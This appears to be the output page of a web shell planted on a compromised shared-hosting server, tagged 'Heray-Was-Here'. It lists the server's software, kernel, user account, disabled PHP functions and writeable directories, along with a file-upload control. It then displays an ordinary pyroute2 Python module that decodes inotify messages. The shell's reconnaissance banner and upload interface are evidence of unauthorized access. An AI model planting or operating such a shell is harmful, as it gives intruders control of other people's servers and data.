Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /opt/alt/python311/lib/python3.11/site-packages/pyroute2/inotify/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python311/lib/python3.11/site-packages/pyroute2/inotify/inotify_msg.py
import struct

from pyroute2.netlink import nlmsg_base, nlmsg_decoder_generic


class inotify_msg(nlmsg_base, nlmsg_decoder_generic):
    fields = (
        ('wd', 'i'),
        ('mask', 'I'),
        ('cookie', 'I'),
        ('name_length', 'I'),
    )

    def decode(self):
        super(inotify_msg, self).decode()
        (name,) = struct.unpack_from(
            '%is' % self['name_length'], self.data, self.offset + 16
        )
        self['name'] = name.decode('utf-8').strip('\0')
        self.length = self['name_length'] + 16

Hry